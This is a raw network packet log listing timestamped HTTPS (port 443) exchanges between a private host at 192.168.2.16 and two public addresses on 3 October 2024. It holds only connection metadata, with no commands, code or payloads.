Oct 3, 2024 18:19:50.119726896 CEST	49828	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:50.119739056 CEST	443	49828	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.119771957 CEST	443	49828	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.119807959 CEST	49828	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:50.119841099 CEST	443	49828	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.119956970 CEST	443	49828	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.119999886 CEST	49828	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:50.120016098 CEST	443	49828	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.120094061 CEST	443	49828	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.120147943 CEST	49828	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:50.120157957 CEST	443	49828	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.120243073 CEST	443	49828	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.120282888 CEST	49828	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:50.120291948 CEST	443	49828	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.144012928 CEST	49826	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:50.144067049 CEST	443	49826	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.144095898 CEST	49827	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:50.160017014 CEST	49828	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:50.160075903 CEST	443	49828	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.185240984 CEST	443	49827	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.185429096 CEST	443	49827	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.185494900 CEST	49827	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:50.185527086 CEST	443	49827	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.185645103 CEST	443	49827	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.185693026 CEST	49827	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:50.185705900 CEST	443	49827	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.185817957 CEST	443	49827	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.185867071 CEST	49827	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:50.185878038 CEST	443	49827	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.186034918 CEST	443	49827	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.186106920 CEST	49827	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:50.186117887 CEST	443	49827	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.186604023 CEST	443	49827	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.186683893 CEST	49827	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:50.186718941 CEST	443	49827	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.186774969 CEST	49827	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:50.186868906 CEST	443	49827	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.186969042 CEST	443	49827	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.187036991 CEST	49827	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:50.187048912 CEST	443	49827	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.187104940 CEST	49827	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:50.187140942 CEST	443	49827	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.187201023 CEST	49827	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:50.187263012 CEST	443	49827	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.187325954 CEST	49827	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:50.188035965 CEST	443	49827	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.188131094 CEST	49827	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:50.188178062 CEST	443	49827	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.188229084 CEST	49827	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:50.188239098 CEST	443	49827	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.188357115 CEST	443	49827	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.188374996 CEST	443	49826	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.188409090 CEST	49827	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:50.188429117 CEST	443	49827	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.188430071 CEST	443	49826	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.188437939 CEST	49826	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:50.188457966 CEST	443	49826	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.188457012 CEST	49827	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:50.188457012 CEST	49827	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:50.188499928 CEST	49827	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:50.188519955 CEST	49826	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:50.188541889 CEST	443	49826	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.188568115 CEST	443	49826	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.188628912 CEST	49826	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:50.188628912 CEST	49826	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:50.188657999 CEST	443	49826	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.188796043 CEST	443	49826	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.188848019 CEST	443	49826	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.188848972 CEST	49826	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:50.188863039 CEST	443	49826	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.188893080 CEST	49826	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:50.188915014 CEST	443	49826	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.188963890 CEST	49826	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:50.188977957 CEST	443	49826	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.189028025 CEST	49826	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:50.189623117 CEST	443	49826	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.189680099 CEST	443	49826	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.189687967 CEST	49826	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:50.189701080 CEST	443	49826	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.189735889 CEST	49826	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:50.189755917 CEST	49826	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:50.189763069 CEST	443	49826	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.189776897 CEST	443	49826	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.189820051 CEST	49826	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:50.189826012 CEST	443	49826	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.189841032 CEST	443	49826	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.189876080 CEST	49826	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:50.189898968 CEST	49826	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:50.189903975 CEST	443	49826	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.189943075 CEST	443	49826	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.190006018 CEST	49826	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:50.190502882 CEST	443	49826	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.190565109 CEST	49826	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:50.190577984 CEST	443	49826	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.190630913 CEST	443	49826	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.190638065 CEST	49826	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:50.190649986 CEST	443	49826	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.190679073 CEST	443	49826	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.190680027 CEST	49826	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:50.190696955 CEST	49826	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:50.190707922 CEST	443	49826	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.190747023 CEST	49826	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:50.191556931 CEST	49832	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:50.191632986 CEST	443	49832	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.191709042 CEST	49832	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:50.192622900 CEST	49832	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:50.192656040 CEST	443	49832	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.208134890 CEST	443	49828	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.208152056 CEST	49828	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:50.208215952 CEST	443	49828	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.208295107 CEST	49828	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:50.208311081 CEST	443	49828	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.208339930 CEST	443	49828	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.208444118 CEST	443	49828	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.208509922 CEST	443	49828	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.208509922 CEST	49828	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:50.208580971 CEST	443	49828	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.208628893 CEST	49828	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:50.208688021 CEST	443	49828	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.208842993 CEST	443	49828	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.208909988 CEST	49828	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:50.208910942 CEST	49828	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:50.209220886 CEST	49828	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:50.209260941 CEST	443	49828	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.212418079 CEST	49833	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:50.212445021 CEST	443	49833	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.212517023 CEST	49833	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:50.212733984 CEST	49833	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:50.212753057 CEST	443	49833	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.224430084 CEST	49834	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:50.224442005 CEST	443	49834	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:50.224508047 CEST	49834	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:50.224625111 CEST	49835	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:50.224663973 CEST	443	49835	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:50.224724054 CEST	49835	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:50.225122929 CEST	49834	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:50.225137949 CEST	443	49834	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:50.225250006 CEST	49835	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:50.225277901 CEST	443	49835	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:50.240103006 CEST	49826	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:50.277347088 CEST	443	49826	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.277362108 CEST	443	49826	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.277440071 CEST	49826	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:50.277472019 CEST	443	49826	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.277488947 CEST	443	49826	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.277529955 CEST	49826	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:50.277570963 CEST	443	49826	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.277621984 CEST	49826	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:50.277623892 CEST	443	49826	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.277636051 CEST	443	49826	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.277668953 CEST	49826	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:50.277693987 CEST	49826	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:50.277762890 CEST	443	49826	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.277821064 CEST	49826	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:50.277827024 CEST	443	49826	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.277838945 CEST	443	49826	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.277872086 CEST	49826	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:50.277894020 CEST	49826	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:50.277980089 CEST	443	49826	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.278028011 CEST	49826	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:50.278143883 CEST	443	49826	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.278186083 CEST	443	49826	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.278198004 CEST	49826	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:50.278230906 CEST	443	49826	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.278269053 CEST	49826	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:50.278517008 CEST	443	49826	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.278573036 CEST	443	49826	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.278578997 CEST	49826	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:50.278594017 CEST	443	49826	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.278624058 CEST	49826	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:50.278768063 CEST	443	49826	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.278815985 CEST	443	49826	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.278816938 CEST	49826	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:50.278827906 CEST	443	49826	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.278866053 CEST	49826	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:50.278873920 CEST	443	49826	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.278906107 CEST	49826	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:50.278913975 CEST	443	49826	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.278950930 CEST	443	49826	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.278985977 CEST	49826	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:50.279158115 CEST	49826	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:50.279172897 CEST	443	49826	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.281445980 CEST	49836	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:50.281491041 CEST	443	49836	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.281583071 CEST	49836	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:50.281794071 CEST	49836	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:50.281809092 CEST	443	49836	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.418185949 CEST	443	49829	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.418530941 CEST	49829	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:50.418593884 CEST	443	49829	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.419053078 CEST	443	49829	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.419346094 CEST	49829	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:50.419441938 CEST	443	49829	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.419493914 CEST	49829	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:50.443622112 CEST	443	49830	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.443850040 CEST	49830	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:50.443909883 CEST	443	49830	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.444361925 CEST	443	49830	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.444645882 CEST	49830	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:50.444725037 CEST	443	49830	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.444729090 CEST	49830	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:50.463418961 CEST	443	49829	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.464014053 CEST	49829	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:50.476531982 CEST	443	49831	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.476768017 CEST	49831	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:50.476798058 CEST	443	49831	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.477245092 CEST	443	49831	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.477518082 CEST	49831	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:50.477596998 CEST	443	49831	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.477602005 CEST	49831	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:50.491447926 CEST	443	49830	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.496023893 CEST	49830	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:50.523406029 CEST	443	49831	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.528074026 CEST	49831	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:50.580101013 CEST	443	49829	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.580224991 CEST	443	49829	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.580296993 CEST	49829	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:50.580302954 CEST	443	49829	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.580336094 CEST	443	49829	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.580391884 CEST	49829	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:50.580419064 CEST	443	49829	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.580554008 CEST	443	49829	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.580609083 CEST	49829	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:50.580632925 CEST	443	49829	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.580764055 CEST	443	49829	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.580815077 CEST	49829	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:50.580827951 CEST	443	49829	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.581079006 CEST	443	49829	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.581135035 CEST	49829	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:50.581149101 CEST	443	49829	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.584980965 CEST	443	49829	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.585047007 CEST	49829	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:50.585062981 CEST	443	49829	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.598164082 CEST	443	49830	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.598649025 CEST	443	49830	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.598710060 CEST	49830	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:50.598726988 CEST	443	49830	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.598778009 CEST	443	49830	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.598818064 CEST	49830	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:50.598984003 CEST	49830	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:50.599003077 CEST	443	49830	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.600972891 CEST	49837	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:50.601025105 CEST	443	49837	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.601099968 CEST	49837	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:50.601455927 CEST	49837	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:50.601470947 CEST	443	49837	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.601811886 CEST	49838	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:50.601823092 CEST	443	49838	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:50.601872921 CEST	49838	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:50.602032900 CEST	49838	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:50.602044106 CEST	443	49838	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:50.629486084 CEST	443	49831	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.629797935 CEST	443	49831	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.629828930 CEST	443	49831	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.629877090 CEST	49831	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:50.629908085 CEST	443	49831	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.629949093 CEST	49831	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:50.630278111 CEST	443	49831	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.630446911 CEST	443	49831	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.630481005 CEST	443	49831	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.630491018 CEST	49831	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:50.630496979 CEST	443	49831	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.630534887 CEST	49831	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:50.630561113 CEST	443	49831	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.634394884 CEST	443	49831	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.634434938 CEST	443	49831	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.634448051 CEST	49831	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:50.634457111 CEST	443	49831	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.634497881 CEST	49831	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:50.634502888 CEST	443	49831	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.640010118 CEST	49829	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:50.660037994 CEST	443	49832	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.660295010 CEST	49832	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:50.660316944 CEST	443	49832	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.661467075 CEST	443	49832	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.661786079 CEST	49832	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:50.661919117 CEST	49832	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:50.661927938 CEST	443	49832	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.661993027 CEST	443	49832	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.669521093 CEST	443	49829	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.672132969 CEST	443	49829	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.672197104 CEST	49829	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:50.672219038 CEST	443	49829	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.672250032 CEST	443	49829	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.672296047 CEST	49829	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:50.672497034 CEST	443	49829	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.673790932 CEST	443	49829	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.673851013 CEST	49829	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:50.673866034 CEST	443	49829	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.673969030 CEST	443	49829	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.674019098 CEST	49829	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:50.674026966 CEST	443	49829	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.674115896 CEST	443	49829	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.674169064 CEST	49829	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:50.674175978 CEST	443	49829	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.674254894 CEST	443	49829	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.674303055 CEST	49829	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:50.674310923 CEST	443	49829	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.674387932 CEST	443	49829	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.674434900 CEST	49829	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:50.674443007 CEST	443	49829	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.674563885 CEST	443	49829	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.674613953 CEST	49829	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:50.674621105 CEST	443	49829	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.674833059 CEST	443	49829	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.674881935 CEST	49829	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:50.674890041 CEST	443	49829	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.675376892 CEST	443	49829	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.675437927 CEST	49829	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:50.675447941 CEST	443	49829	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.686758041 CEST	443	49833	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.686969995 CEST	49833	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:50.687000036 CEST	443	49833	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.688010931 CEST	49831	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:50.690112114 CEST	443	49833	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.690198898 CEST	49833	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:50.690500021 CEST	49833	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:50.690588951 CEST	443	49833	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.690618992 CEST	49833	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:50.691823959 CEST	443	49835	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:50.692006111 CEST	49835	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:50.692022085 CEST	443	49835	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:50.693464994 CEST	443	49835	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:50.693536043 CEST	49835	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:50.693752050 CEST	49835	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:50.693828106 CEST	443	49835	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:50.693835974 CEST	49835	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:50.697556973 CEST	443	49834	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:50.697736979 CEST	49834	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:50.697750092 CEST	443	49834	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:50.699148893 CEST	443	49834	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:50.699213982 CEST	49834	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:50.699441910 CEST	49834	443	192.168.2.16	104.21.32.108
